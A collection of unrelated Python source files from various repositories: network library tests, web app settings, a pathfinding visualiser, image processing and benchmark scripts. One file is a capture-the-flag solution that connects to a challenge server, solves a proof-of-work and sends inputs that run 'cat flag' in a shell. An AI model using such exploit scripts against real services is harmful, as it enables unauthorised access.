help='Files to process. You may use wildcards, e.g., "python analyze.py *.out".')
args = parser.parse_args()
analyze(args.filenames)
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python/test.py | dugsong/libdnet | 103 | 108216 | <filename>python/test.py
#!/usr/bin/env python
import sys, unittest
from os import listdir
from interfacefinder import mac_addr,local_ip,loopback_intf
for dir in listdir('build'):
if dir.startswith('lib.'):
sys.path.insert(0, "build/" + dir)
import dnet
class AddrTestCase(unittest.TestCase):
def test_addr_cmp(self):
for atxt in ('1.2.3.0', '0:d:e:a:d:0', 'fc00:e968:6179::de52:7100:fa:ce:0'):
a = dnet.addr(atxt)
b = dnet.addr(atxt)
assert a == b
b = dnet.addr(atxt[:-1] + '1')
assert a < b
assert b > a
def test_addr_bcast(self):
d = { 32:'10.0.0.0', 31:'10.0.0.1', 30:'10.0.0.3', 29:'10.0.0.7',
28:'10.0.0.15', 27:'10.0.0.31', 26:'10.0.0.63', 25:'10.0.0.127',
24:'10.0.0.255', 23:'10.0.1.255', 22:'10.0.3.255',
21:'10.0.7.255', 20:'10.0.15.255', 19:'10.0.31.255' }
for bits in d:
a = dnet.addr('%s/%d' % (d[32], bits))
b = a.bcast()
self.assertTrue(b.__repr__() == d[bits],
'wrong bcast for /%d' % bits)
def test_addr_net(self):
d = { 32:'172.16.58.3', 31:'192.168.127.12', 30:'172.16.17.32',
29:'172.16.31.10', 28:'192.168.127.12', 27:'192.168.3.11',
26:'172.16.17.32', 25:'192.168.3.11', 24:'172.16.31.10',
23:'192.168.127.12', 22:'172.16.31.10', 21:'172.16.17.32',
20:'192.168.127.12', 19:'192.168.3.11' }
for bits in d:
a = dnet.addr('%s/%d' % (d[32], bits))
b = a.net()
self.assertTrue(b.__repr__() == d[bits],
'wrong net for /%d' % bits)
def test_addr_properties(self):
atxt = '1.2.3.4/24'
a = dnet.addr(atxt)
assert a.type == dnet.ADDR_TYPE_IP and a.bits == 24
assert a.ip == b'\x01\x02\x03\x04' and a.__repr__() == atxt
try: self.assertTrue(a.eth == 'xxx', 'invalid eth property')
except ValueError: pass
atxt = '00:0d:0e:0a:0d:00'
a = dnet.addr(atxt)
assert a == dnet.addr('0:d:E:a:D:0')
assert a.type == dnet.ADDR_TYPE_ETH and a.bits == 48
assert a.eth == b'\x00\x0d\x0e\x0a\x0d\x00' and a.__repr__() == atxt
try: self.assertTrue(a.ip6 == 'xxx', 'invalid ip6 property')
except ValueError: pass
atxt = 'fe80::dead:beef:feed:face/48'
a = dnet.addr(atxt)
assert a == dnet.addr('fe80:0:0::dead:beef:feed:face/48')
assert a.type == dnet.ADDR_TYPE_IP6 and a.bits == 48
assert a.ip6 == b'\xfe\x80\x00\x00\x00\x00\x00\x00\xde\xad\xbe\xef\xfe\xed\xfa\xce' and a.__repr__() == atxt
try: self.assertTrue(a.ip == 'xxx', 'invalid ip property')
except ValueError: pass
class ArpTestCase(unittest.TestCase):
def setUp(self):
self.arp = dnet.arp()
self.assertTrue(self.arp, "couldn't open ARP handle")
def tearDown(self):
del self.arp
def test_arp(self):
# XXX - site-specific values here!
pa = dnet.addr(local_ip)
ha = dnet.addr(mac_addr)
self.assertTrue(self.arp.add(pa, ha) == None, "couldn't add ARP entry")
self.assertTrue(self.arp.get(pa) == ha, "couldn't find ARP entry")
self.assertTrue(self.arp.delete(pa) == None, "couldn't delete ARP entry")
self.assertTrue(self.arp.get(pa) == None, "wrong ARP entry present")
self.assertTrue(self.arp.add(pa, ha) == None, "couldn't add ARP entry")
self.assertTrue(self.arp.get(pa) == ha, "couldn't find ARP entry")
def __arp_cb(self, pa, arg):
# XXX - do nothing
return arg
def test_arp_loop(self):
assert self.arp.loop(self.__arp_cb, 0) == 0
assert self.arp.loop(self.__arp_cb, 123) == 123
def test_arp_misc(self):
sha = b'\x00\x0d\x0e\x0a\x0d\x00'
spa = b'\x01\x02\x03\x04'
dha = b'\x00\x0b\x0e\x0e\x0f\x00'
dpa = b'\x05\x06\x07\x08'
msg = dnet.arp_pack_hdr_ethip(dnet.ARP_OP_REQUEST, sha, spa, dha, dpa)
assert msg == b'\x00\x01\x08\x00\x06\x04\x00\x01\x00\r\x0e\n\r\x00\x01\x02\x03\x04\x00\x0b\x0e\x0e\x0f\x00\x05\x06\x07\x08'
class EthTestCase(unittest.TestCase):
def setUp(self):
self.dev = dnet.intf().get_dst(dnet.addr('1.2.3.4'))['name']
self.eth = dnet.eth(self.dev)
self.assertTrue(self.eth, "couldn't open Ethernet handle")
def tearDown(self):
del self.eth
def test_eth_get(self):
mac = self.eth.get()
self.assertTrue(mac, "couldn't get Ethernet address for %s" % self.dev)
def test_eth_misc(self):
n = b'\x00\x0d\x0e\x0a\x0d\x00'
a = '00:0d:0e:0a:0d:00'
self.assertTrue(dnet.eth_ntoa(n) == a)
self.assertTrue(dnet.eth_aton(a) == n)
dst = b'\x00\x0d\x0e\x0a\x0d\x01'
self.assertTrue(dnet.eth_pack_hdr(n, dst, dnet.ETH_TYPE_IP) ==
b'\x00\r\x0e\n\r\x00\x00\r\x0e\n\r\x01\x08\x00')
class FwTestCase(unittest.TestCase):
def setUp(self):
self.dev = dnet.intf().get_dst(dnet.addr('1.2.3.4'))['name']
self.fw = dnet.fw()
self.assertTrue(self.fw, "couldn't open firewall handle")
def tearDown(self):
del self.fw
def test_fw(self):
src = dnet.addr('1.2.3.4')
dst = dnet.addr('5.6.7.8')
d = { 'device':self.dev,
'op':dnet.FW_OP_BLOCK,
'dir':dnet.FW_DIR_OUT,
'proto':dnet.IP_PROTO_UDP,
'src':src,
'dst':dst,
'dport':(660, 666)
}
self.assertTrue(self.fw.add(d) == None,
"couldn't add firewall rule: %s" % d)
self.assertTrue(self.fw.delete(d) == None,
"couldn't delete firewall rule: %s" % d)
def __fw_cb(self, rule, arg):
# XXX - do nothing
return arg
def test_fw_loop(self):
assert self.fw.loop(self.__fw_cb, 0) == 0
# XXX - no guarantee of existing fw rules.
#assert self.fw.loop(self.__fw_cb, 123) == 123
class IntfTestCase(unittest.TestCase):
def setUp(self):
self.intf = dnet.intf()
self.assertTrue(self.intf, "couldn't open interface handle")
def tearDown(self):
del self.intf
def test_intf_get(self):
lo0 = self.intf.get(loopback_intf)
self.assertTrue(lo0['name'] == loopback_intf, "couldn't get loopback config")
self.assertTrue(self.intf.get_src(dnet.addr('127.0.0.1')) == lo0,
"couldn't get_src 127.0.0.1")
gw = self.intf.get_dst(dnet.addr('1.2.3.4'))
self.assertTrue(gw, "couldn't get outgoing interface")
def test_intf_set(self):
lo0 = self.intf.get(loopback_intf)
old_mtu = lo0['mtu']
new_mtu = 1234
lo0['mtu'] = new_mtu
self.intf.set(lo0)
lo0 = self.intf.get(loopback_intf)
assert lo0['mtu'] == new_mtu
lo0['mtu'] = old_mtu
self.intf.set(lo0)
def __intf_cb(self, ifent, arg):
# XXX - do nothing
return arg
def test_intf_loop(self):
assert self.intf.loop(self.__intf_cb, 0) == 0
assert self.intf.loop(self.__intf_cb, 123) == 123
class IpTestCase(unittest.TestCase):
def setUp(self):
self.ip = dnet.ip()
self.assertTrue(self.ip, "couldn't open raw IP handle")
def tearDown(self):
del self.ip
def test_ip_misc(self):
n = b'\x01\x02\x03\x04'
a = '1.2.3.4'
self.assertTrue(dnet.ip_ntoa(n) == a)
self.assertTrue(dnet.ip_aton(a) == n)
dst = b'\x05\x06\x07\x08'
hdr = dnet.ip_pack_hdr(0, dnet.IP_HDR_LEN, 666, 0, 255,dnet.IP_PROTO_UDP, n, dst)
self.assertTrue(hdr == b'E\x00\x00\x14\x02\x9a\x00\x00\xff\x11\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08')
hdr = dnet.ip_checksum(hdr)
self.assertTrue(hdr == '\x00\x00\x14\x02\x9a\x00\x00\xff\x11\xa9\x01\x02\x03\x04\x05\x06\x07\x08')
class RandTestCase(unittest.TestCase):
def setUp(self):
self.rand = dnet.rand()
self.assertTrue(self.rand, "couldn't open random handle")
def tearDown(self):
del self.rand
class RouteTestCase(unittest.TestCase):
def setUp(self):
self.route = dnet.route()
self.assertTrue(self.route, "couldn't open route handle")
def tearDown(self):
del self.route
def test_route(self):
dst = dnet.addr('1.2.3.4/24')
gw = dnet.addr('1172.16.31.10')
self.route.add(dst, gw)
self.assertTrue(self.route.get(dst) == gw)
self.route.delete(dst)
def __route_cb(self, dst, arg):
# XXX - do nothing
return arg
def test_route_loop(self):
assert self.route.loop(self.__route_cb, 0) == 0
assert self.route.loop(self.__route_cb, 123) == 123
if __name__ == '__main__':
unittest.main()
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config/settings/production.py | rimphyd/Django-OPAC | 1 | 23709 | import django_heroku
from config.settings.base import *
DEBUG = False
SECRET_KEY = os.environ['SECRET_KEY']
EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'formatters': {
'verbose': {
'format': '%(asctime)s %(levelname)s %(module)s %(message)s'
},
},
'handlers': {
'console': {
'level': 'INFO',
'class': 'logging.StreamHandler',
'formatter': 'verbose',
},
},
'loggers': {
'opac': {
'handlers': ['console'],
'level': 'INFO',
'propagate': False,
},
'django': {
'handlers': ['console'],
'level': 'INFO',
'propagate': False,
},
},
}
SECURE_HSTS_PRELOAD = True
SECURE_HSTS_SECONDS = 31536000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_CONTENT_TYPE_NOSNIFF = True
SECURE_BROWSER_XSS_FILTER = True
SECURE_SSL_REDIRECT = True
SESSION_COOKIE_SECURE = True
CSRF_COOKIE_SECURE = True
X_FRAME_OPTIONS = 'DENY'
django_heroku.settings(locals())
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custom_components/edgeos/__init__.py | kcleong/homeassistant-config | 0 | 61688 | """
This component provides support for Home Automation Manager (HAM).
For more details about this component, please refer to the documentation at
https://home-assistant.io/components/edgeos/
"""
import logging
import sys
from homeassistant.config_entries import ConfigEntry
from homeassistant.core import HomeAssistant
from .helpers import async_set_ha, clear_ha, get_ha, handle_log_level
from .helpers.const import *
REQUIREMENTS = ["aiohttp"]
_LOGGER = logging.getLogger(__name__)
async def async_setup(hass, config):
return True
async def async_setup_entry(hass: HomeAssistant, entry: ConfigEntry) -> bool:
"""Set up a EdgeOS component."""
initialized = False
try:
await handle_log_level(hass, entry)
_LOGGER.debug(f"Starting async_setup_entry of {DOMAIN}")
entry.add_update_listener(async_options_updated)
await async_set_ha(hass, entry)
initialized = True
except Exception as ex:
exc_type, exc_obj, tb = sys.exc_info()
line_number = tb.tb_lineno
_LOGGER.error(f"Failed to load EdgeOS, error: {ex}, line: {line_number}")
return initialized
async def async_unload_entry(hass: HomeAssistant, entry: ConfigEntry):
"""Unload a config entry."""
ha = get_ha(hass, entry.entry_id)
if ha is not None:
await ha.async_remove(entry)
clear_ha(hass, entry.entry_id)
return True
async def async_options_updated(hass: HomeAssistant, entry: ConfigEntry):
"""Triggered by config entry options updates."""
await handle_log_level(hass, entry)
_LOGGER.info(f"async_options_updated, Entry: {entry.as_dict()} ")
ha = get_ha(hass, entry.entry_id)
if ha is not None:
await ha.async_update_entry(entry)
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example_02/app.py | moppermonster/alpine-python-falcon-examples | 0 | 63799 | '''
alpine-python-falcon example
In this example, we import one of our own scripts: myfunction.
We then modify Numbers() to return myfunction.myfunction()'s result when we perform a POST request.
'''
import falcon
from middleware import JSONTranslator
from myfunction import myfunction
class Hello_world(object):
def on_get(self, req, resp):
resp.status = falcon.HTTP_200
resp.context["response"] = {"response": "Hello world"}
class Numbers(object):
"""Returns numbers"""
def on_get(self, req, resp):
resp.status = falcon.HTTP_200
resp.context["response"] = {"numbers": [1, 2, 3, 4]}
def on_post(self, req, resp):
resp.status = falcon.HTTP_200
result = myfunction([1, 2, 3, 4])
resp.context["response"] = {"result": result}
# Falcon
APP = falcon.API(middleware=[JSONTranslator()])
# Resource class instances
HELLO_WORLD = Hello_world()
NUMBERS = Numbers()
# Falcon routes
APP.add_route("/", HELLO_WORLD)
APP.add_route("/numbers", NUMBERS)
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] |
src/head_detector_vgg16.py | bill-lin/FCHD-Fully-Convolutional-Head-Detector | 648 | 87850 | <gh_stars>100-1000
import torch as t
from torch import nn
from torchvision.models import vgg16
from src.region_proposal_network import RegionProposalNetwork
from src.head_detector import Head_Detector
from src.config import opt
def decom_vgg16():
""" Load the default PyTorch model or the pre-trained caffe model.
Freeze the weights of some layers of the network and train the rest
of the features.
"""
if opt.caffe_pretrain:
# Load the caffe model
model = vgg16(pretrained=False)
model.load_state_dict(t.load(opt.caffe_pretrain_path))
else:
# Load the default model in PyTorch
model = vgg16(pretrained=True)
features = list(model.features)[:30]
# Freeze some of the layers.
# for layer in features[:10]:
# for p in layer.parameters():
# p.requires_grad = False
return nn.Sequential(*features)
class Head_Detector_VGG16(Head_Detector):
""" Head detector based on VGG16 model.
Have two components:
1) Fixed feature extractor from the conv_5 layer of the VGG16
2) A region proposal network on the top of the extractor.
"""
feat_stride = 16
def __init__(self, ratios=[0.5, 1, 2], anchor_scales=[8,16,32]):
extractor = decom_vgg16()
rpn = RegionProposalNetwork(
512, 512,
ratios=ratios,
anchor_scales=anchor_scales,
feat_stride=self.feat_stride
)
super(Head_Detector_VGG16, self).__init__(
extractor,
rpn
)
pass
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] |
tests/load_cmat_cmat10.py | ffreemt/cmat2aset | 0 | 60872 | """load cmat cmat10.
import matplotlib.pyplit as plt
import seaborn as sns
sns.set()
plt.ion() # interactive plot
plt.clf(); sns.heatmap(cmat, cmap="gist_earth_r").invert_yaxis()
plt.clf(); sns.heatmap(cmat, cmap="viridis_r").invert_yaxis()
"""
import pickle
from pathlib import Path
cdir = Path(__file__).parent.resolve()
cmat = pickle.load(open(cdir / "cos_matrix.pkl", "rb"))
cmat10 = pickle.load(open(cdir / "cos_matrix10.pkl", "rb"))
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] |
setup.py | awesome-archive/webspider | 0 | 518 | <filename>setup.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
from setuptools import find_packages, setup
from app import __version__
# get the dependencies and installs
here = os.path.abspath(os.path.dirname(__file__))
with open(os.path.join(here, 'requirements.txt')) as f:
all_requirements = f.read().split('\n')
setup(
name='webspider',
version=__version__,
license='MIT',
author='heguozhu',
author_email='<EMAIL>',
description='lagou.com spider',
url='<EMAIL>:GuozhuHe/webspider.git',
packages=find_packages(exclude=['tests']),
package_data={'webspider': ['README.md']},
zip_safe=False,
install_requires=all_requirements,
entry_points={
'console_scripts': [
'web = app.web_app:main',
'production_web = app.quickly_cmd:run_web_app_by_gunicorn',
'crawl_lagou_data = app.tasks:crawl_lagou_data',
'crawl_jobs_count = app.tasks.jobs_count:crawl_lagou_jobs_count',
'celery_jobs_count_worker = app.quickly_cmd:run_celery_jobs_count_worker',
'celery_lagou_data_worker = app.quickly_cmd:run_celery_lagou_data_worker',
'celery_beat = app.quickly_cmd:run_celery_beat',
'celery_flower = app.quickly_cmd.py:run_celery_flower',
],
}
)
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21251,
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500,
13,
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13,
2
] |
HEPTools/__init__.py | weissercn/HEPtools | 0 | 142039 | <gh_stars>0
import sys
import os
os.environ["HEPTools"]=os.getcwd()
| [
1,
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] |
python/list_namespace_limits.py | iamabhishek-dubey/kubernetes-rest-api | 1 | 126640 | <reponame>iamabhishek-dubey/kubernetes-rest-api<gh_stars>1-10
import kubernetes.client
from kubernetes.client.rest import ApiException
from kubernetes import config
def initiate_api():
"""Function to Initiate Kubernetes API"""
configuration = config.load_kube_config()
api_instance = kubernetes.client.CoreV1Api(kubernetes.client.ApiClient(configuration))
return api_instance
def list_limits():
"""Function to list Limits of Namespaces"""
try:
api_instance = initiate_api()
namespaces = api_instance.list_namespace().items
for namespace in namespaces:
limit = api_instance.list_namespaced_limit_range(namespace.metadata.name).items
if not limit:
print(namespace.metadata.name + " named namespace don't have any limits")
else:
print(limit)
except ApiException as e:
print("Exception when calling list_namespaced_limit_range: %s\n" % e)
def main_function():
list_limits()
main_function()
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] |
pathfinder/AStar.py | simplykamil6/2d-pathfinding-visualiser | 1 | 78123 | from queue import PriorityQueue
import pygame
from mazecreator.MazeCreator import MazeCreator
from mazecreator.Picasso import Picasso
from mazecreator.RGBColours import RGBColours
from mazecreator.SquareState import SquareState
class AStar:
"""
Poor man's implementation of A* Pathfinding algorithm
"""
def __init__(self, visualise: bool = False):
self.grid = MazeCreator().get_grid()
self.open_set = PriorityQueue()
self.start_pos = None
self.end_pos = None
self.path_found = False
self.rows = len(self.grid)
self.width = 800
self.g_score = {}
self.f_score = {}
self.window = pygame.display.set_mode((self.width, self.width))
self.window_title = 'AStar Pathfinder'
self.run = True
self.gap = self.width // self.rows
self.path = None
self.came_from = {}
pygame.display.set_caption(self.window_title)
self.visualise = visualise
for r in self.grid:
for s in r:
if s.state == SquareState.START:
self.start_pos = s.get_pos()
elif s.state == SquareState.END:
self.end_pos = s.get_pos()
if self.start_pos and self.end_pos:
break
print(f'\nMaze dimensions: {len(self.grid)}x{len(self.grid[0])}')
print(f'Starting position: {self.start_pos}')
print(f'Ending position: {self.end_pos}\n')
@staticmethod
def get_heuristic(p1: tuple, p2: tuple):
"""
Get approximate distance to p2
:param p1: position 1
:param p2: end position
:return: approximate distance
:rtype: int
"""
x1, y1 = p1
x2, y2 = p2
return abs(x1 - x2) + abs(y1 - y2)
def draw_grid(self):
"""
Draw the grid
:rtype: None
"""
for i in range(self.rows):
pygame.draw.line(self.window, RGBColours.GREY, (0, i * self.gap), (self.width, i * self.gap))
for j in range(self.rows):
pygame.draw.line(self.window, RGBColours.GREY, (j * self.gap, 0), (j * self.gap, self.width))
def draw(self, grid: list):
"""
Draw the grid and squares
:rtype: None
"""
self.window.fill(RGBColours.WHITE)
for row in grid:
for square in row:
square.draw(self.window)
self.draw_grid()
pygame.display.update()
def get_clicked_pos(self, pos):
"""
Get row, col that was clicked
:param pos: position
:type pos: tuple
:return: row, col
:rtype: tuple
"""
y, x = pos
return y // self.gap, x // self.gap
def a_star(self):
"""
A* pathfinding algorithm implementation
:return: found path or not
:rtype: bool
"""
self.came_from = {}
for row in self.grid:
for s in row:
sp = s.get_pos()
self.g_score[sp] = float('inf')
self.f_score[sp] = float('inf')
self.g_score[self.start_pos] = 0
self.f_score[self.start_pos] = self.get_heuristic(self.start_pos, self.end_pos)
self.open_set.put((self.f_score[self.start_pos], self.start_pos))
while self.run:
self.draw(self.grid)
for event in pygame.event.get():
if event.type == pygame.QUIT or (event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE):
self.run = False
while not self.open_set.empty():
current = self.open_set.get()
current_f_score, current_pos = current
current_row, current_col = current_pos
if current_pos == self.end_pos:
checked_squares = 0
self.path = list()
self.path.append(self.end_pos)
for row in self.grid:
for s in row:
if s.state in [SquareState.VISITED, SquareState.START, SquareState.END]:
checked_squares += 1
curr = self.end_pos
while curr:
prev = self.came_from.get(curr)
self.path.append(prev)
curr = prev
self.path = self.path[:-1]
for move in self.path:
if move:
m_r, m_c = move
if move == self.end_pos:
self.grid[m_r][m_c].state = SquareState.END
else:
self.grid[m_r][m_c].state = SquareState.PATH
print(f'Found a solution, checked {checked_squares} squares, took {len(self.path)} moves')
print(f'Moves: {self.path}\n')
self.open_set = PriorityQueue()
break
for valid_neighbour in Picasso.get_valid_neighbours(current_row, current_col, self.grid, self.rows):
if valid_neighbour.state != SquareState.VISITED:
valid_neighbour.state = SquareState.VISITED
tentative_g_score = self.g_score[current_pos] + 1
vn_pos = valid_neighbour.get_pos()
if tentative_g_score < self.g_score[vn_pos]:
self.came_from[vn_pos] = current_pos
self.g_score[vn_pos] = tentative_g_score
self.f_score[vn_pos] = self.g_score[vn_pos] + self.get_heuristic(vn_pos, self.end_pos)
if vn_pos not in self.open_set.queue:
self.open_set.put((self.f_score[vn_pos], vn_pos))
if self.visualise:
self.draw(self.grid)
pygame.quit()
return True if self.path else False
if __name__ == '__main__':
a_star = AStar()
path_found = a_star.a_star()
print(f'Path found: {path_found}')
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setup.py | bmustiata/archer-py | 0 | 122028 | from setuptools import setup
from setuptools import find_packages
with open("README.rst") as readme_file:
readme = readme_file.read()
packages = find_packages()
setup(
name="project_archer",
version="0.3.0",
description="Switch projects with ease.",
long_description=readme,
author="<NAME>",
author_email="<EMAIL>",
license="BSD",
entry_points={"console_scripts": ["archer = project_archer.mainapp:main"]},
install_requires=[
"termcolor-util",
"click",
"PyYAML >=5.1, <5.2",
],
packages=packages,
package_data={"": ["*.txt", "*.rst"]},
)
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hough_lines.py | will-r-wang/NTP-Remote-Sensing | 0 | 152245 | <filename>hough_lines.py
"""
Purpose
-------
Takes in an input image and calculates its top `n` Hough lines and predicted major angle
Inputs
-------
- Input image to which Hough transform is applied to
- (Optional) VERBOSE parameter which decides whether additional matplotlib plots are made
- (Optional) output image path to which plots are drawn to if VERBOSE is defined
"""
import cv2
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.lines as mlines
import matplotlib
matplotlib.use('agg') # workaround for tkinter compatability issues
# Takes in as input the original and corrected binary image, and returns the top Hough lines and predicted major angle of the image
def hough_line_detection(original_image, input_image):
height, width = input_image.shape[:2]
d = np.sqrt(np.square(height) + np.square(width))
thetas = np.arange(0, 180, step=180 / 180)
rhos = np.arange(-d, d, step=(2 * d) / 180)
sin_thetas = np.sin(np.deg2rad(thetas))
cos_thetas = np.cos(np.deg2rad(thetas))
hough_lines = []
inverse = False
hough_matrix = np.zeros((len(rhos), len(rhos)))
if VERBOSE:
figure = plt.figure(figsize=(20, 7))
plot1 = figure.add_subplot(1, 3, 1)
plot1.imshow(original_image)
plot2 = figure.add_subplot(1, 3, 2)
plot2.imshow(original_image)
plot3 = figure.add_subplot(1, 3, 3)
plot3.imshow(original_image)
for y in range(height):
for x in range(width):
if input_image[y][x] != 0:
for theta_index in range(len(thetas)):
rho = ((x - width / 2) * cos_thetas[theta_index]) + ((y - height / 2) * sin_thetas[theta_index])
theta = thetas[theta_index]
rho_index = np.argmin(np.abs(rhos - rho))
hough_matrix[rho_index][theta_index] += 1
for y in range(hough_matrix.shape[0]):
for x in range(hough_matrix.shape[1]):
if hough_matrix[y][x] > 200:
rho = rhos[y]
theta = thetas[x]
a, b = np.cos(np.deg2rad(theta)), np.sin(np.deg2rad(theta))
x0, y0 = (a * rho) + width / 2, (b * rho) + height / 2
x1, y1 = int(x0 + 200 * (-b)), int(y0 + 200 * (a))
x2, y2 = int(x0 - 200 * (-b)), int(y0 - 200 * (a))
hough_lines.append(
{
'strength': hough_matrix[y][x],
'rho': rhos[y],
'theta': thetas[x],
'end_points': [x1, x2, y1, y2]
}
)
if VERBOSE:
plot1.add_line(mlines.Line2D([x1, x2], [y1, y2]))
# -- directionality determination
if np.average([h["theta"] for h in hough_lines[:len(hough_lines)//2]])\
< np.average([h["theta"] for h in hough_lines[len(hough_lines)//2:]]):
inverse = True
sort_fn = lambda x: (x.get('strength'))
hough_lines = sorted(hough_lines, key=sort_fn, reverse=True)
top_hough_lines = hough_lines[:5]
if VERBOSE:
for line in top_hough_lines:
plot2.add_line(mlines.Line2D(line["end_points"][:2], line["end_points"][2:]))
# -- inversion of hough line weighting
if inverse:
for i in range(len(top_hough_lines)):
top_hough_lines[i]["theta"] = 180 + top_hough_lines[i]["theta"]
# -- simple predicted major angle mean calculation
predicted_major_angle = np.mean([line["theta"] for line in top_hough_lines])
m_x1, m_x2, m_y1, m_y2 = np.mean([hough_line["end_points"] for hough_line in top_hough_lines], axis=0)
if VERBOSE:
plot3.add_line(mlines.Line2D([m_x1, m_x2], [m_y1, m_y2], color=(0, 1, 0)))
plot3.plot(m_x1, m_y1, 'o', color="#00FF00") if inverse else plot2.plot(m_x2, m_y2, 'o', color="#00FF00")
plot1.title.set_text("Detected Hough Lines")
plot2.title.set_text("Top 5 Hough Lines".format(predicted_major_angle))
plot3.title.set_text("Predicted Major Hough Line ({}°)".format(predicted_major_angle))
plt.savefig(OUTPUT_IMAGE_PATH)
return top_hough_lines, predicted_major_angle
VERBOSE = True
INPUT_IMAGE_PATH = "images/hough_lines_test.png"
OUTPUT_IMAGE_PATH = "images/hough_lines_test_output.png"
if __name__ == "__main__":
image = cv2.imread(INPUT_IMAGE_PATH)
# In order for Hough transform to work, we apply several filters and color corrections on our original image
image_cvt = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # BGR --> Greyscale color conversion
image_cvt = cv2.Canny(image_cvt, 100, 200) # Canny edge application
image_cvt = cv2.dilate( # dilation helps us reconstruct the original object output post canny edge
image_cvt,
cv2.getStructuringElement(cv2.MORPH_RECT, (5, 5)),
iterations=1
)
image_cvt = cv2.erode( # erosion to remove white noises with a 5x5 kernel applied in a 2D convolution
image_cvt,
cv2.getStructuringElement(cv2.MORPH_RECT, (5, 5)),
iterations=1
)
a, b = hough_line_detection(image, image_cvt)
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] |
packages/w3af/w3af/core/data/url/handlers/cookie_handler.py | ZooAtmosphereGroup/HelloPackages | 3 | 21370 | <gh_stars>1-10
"""
cookie_handler.py
Copyright 2006 <NAME>
This file is part of w3af, http://w3af.org/ .
w3af is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.
w3af is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with w3af; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from cookielib import MozillaCookieJar
from urllib2 import HTTPCookieProcessor
class CookieHandler(HTTPCookieProcessor):
def __init__(self, default_cookiejar=None):
HTTPCookieProcessor.__init__(self, None)
# Store the different cookie jars here, these represent the different
# browser sessions that the plugins might request
self.jars = {}
if default_cookiejar is None:
default_cookiejar = MozillaCookieJar()
self.default_cookiejar = default_cookiejar
def get_cookie_jar(self, request):
"""
:param request: The HTTP request, with a browser session attribute, or
None if the default cookiejar should be used.
:return: The cookiejar instance
"""
if request.session is None:
return self.default_cookiejar
session = self.jars.get(request.session, None)
if session is not None:
return session
new_session = MozillaCookieJar()
self.jars[request.session] = new_session
return new_session
def clear_cookies(self):
"""
Clear the cookies from all cookie jars.
:return: None
"""
for cookiejar in self.jars.itervalues():
cookiejar.clear()
cookiejar.clear_session_cookies()
self.default_cookiejar.clear()
self.default_cookiejar.clear_session_cookies()
def http_request(self, request):
if not request.cookies:
# Don't do any cookie handling
return request
try:
cookiejar = self.get_cookie_jar(request)
cookiejar.add_cookie_header(request)
except AttributeError:
# https://github.com/andresriancho/w3af/issues/13842
pass
return request
def http_response(self, request, response):
cookiejar = self.get_cookie_jar(request)
cookiejar.extract_cookies(response, request)
return response
https_request = http_request
https_response = http_response
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Balsn_CTF_2019/Need_some_flags/solution/Need_some_flags_2_exp.py | sces60107/My-CTF-Challenges | 3 | 40266 | from pwn import *
import hashlib
r=remote("172.16.17.32",10122)
## pow
temp=r.recvuntil("sha256( ")
prefix=r.recvline().split()[0]
i=0
while True:
data=prefix+str(i)
Hash=hashlib.sha256(data)
if Hash.hexdigest()[:5]=="0"*5:
r.sendline(str(i))
break
i+=1
## get flag
r.sendline("0")
r.sendline("system")
r.sendline("1")
r.sendline("nonsecret.pyc")
r.sendline("b013")
r.sendline("92")
r.sendline("3")
r.sendline("cat flag")
r.interactive()
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] |
python/cuml/benchmark/ci_benchmark.py | taureandyernv/cuml | 3 | 1611168 | <reponame>taureandyernv/cuml
#
# Copyright (c) 2019, NVIDIA CORPORATION.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.`
#
"""Script to benchmark cuML modules in CI
NOTE: This is currently experimental as the ops team builds out the CI
platform to support benchmark reporting.
"""
from cuml.benchmark.runners import run_variations
from cuml.benchmark import algorithms
import numpy as np
import pandas as pd
def log_range(start, end, n):
return np.logspace(np.log10(start), np.log10(end), num=n, dtype=np.int32)
def expand_params(key, vals):
return [{key: v} for v in vals]
def report_asv(results_df, output_dir):
"""Logs the dataframe `results_df` to airspeed velocity format.
This writes (or appends to) JSON files in `output_dir`
Parameters
----------
results_df : pd.DataFrame
DataFrame with one row per benchmark run
output_dir : str
Directory for ASV output database
"""
import asvdb
import platform
import psutil
uname = platform.uname()
(commitHash, commitTime) = asvdb.utils.getCommitInfo()
b_info = asvdb.BenchmarkInfo(
machineName=uname.machine,
cudaVer="10.0",
osType="%s %s" % (uname.system, uname.release),
pythonVer=platform.python_version(),
commitHash=commitHash,
commitTime=commitTime,
gpuType="n/a",
cpuType=uname.processor,
arch=uname.machine,
ram="%d" % psutil.virtual_memory().total,
)
(
repo,
branch,
) = asvdb.utils.getRepoInfo() # gets repo info from CWD by default
db = asvdb.ASVDb(dbDir=output_dir, repo=repo, branches=[branch])
for index, row in results_df.iterrows():
val_keys = ['cu_time', 'cpu_time', 'speedup', 'cuml_acc', 'cpu_acc']
params = [(k, v) for k, v in row.items() if k not in val_keys]
result = asvdb.BenchmarkResult(
row['algo'], params, result=row['cu_time']
)
db.addResult(b_info, result)
def make_bench_configs(long_config):
"""Defines the configurations we want to benchmark
If `long_config` is True, this may take over an hour.
If False, the run should take only a few minutes."""
configs = []
if long_config:
# Use large_rows for pretty fast algos,
# use small_rows for slower ones
small_rows = log_range(10000, 1000000, 2)
large_rows = log_range(1e5, 1e7, 2)
else:
# Small config only runs a single size
small_rows = log_range(20000, 20000, 1)
large_rows = log_range(100000, 100000, 1)
default_dims = [16, 256]
# Add all the simple algorithms that don't need special treatment
algo_defs = [
("KMeans", "blobs", small_rows, default_dims, [{}]),
("DBScan", "blobs", small_rows, default_dims, [{}]),
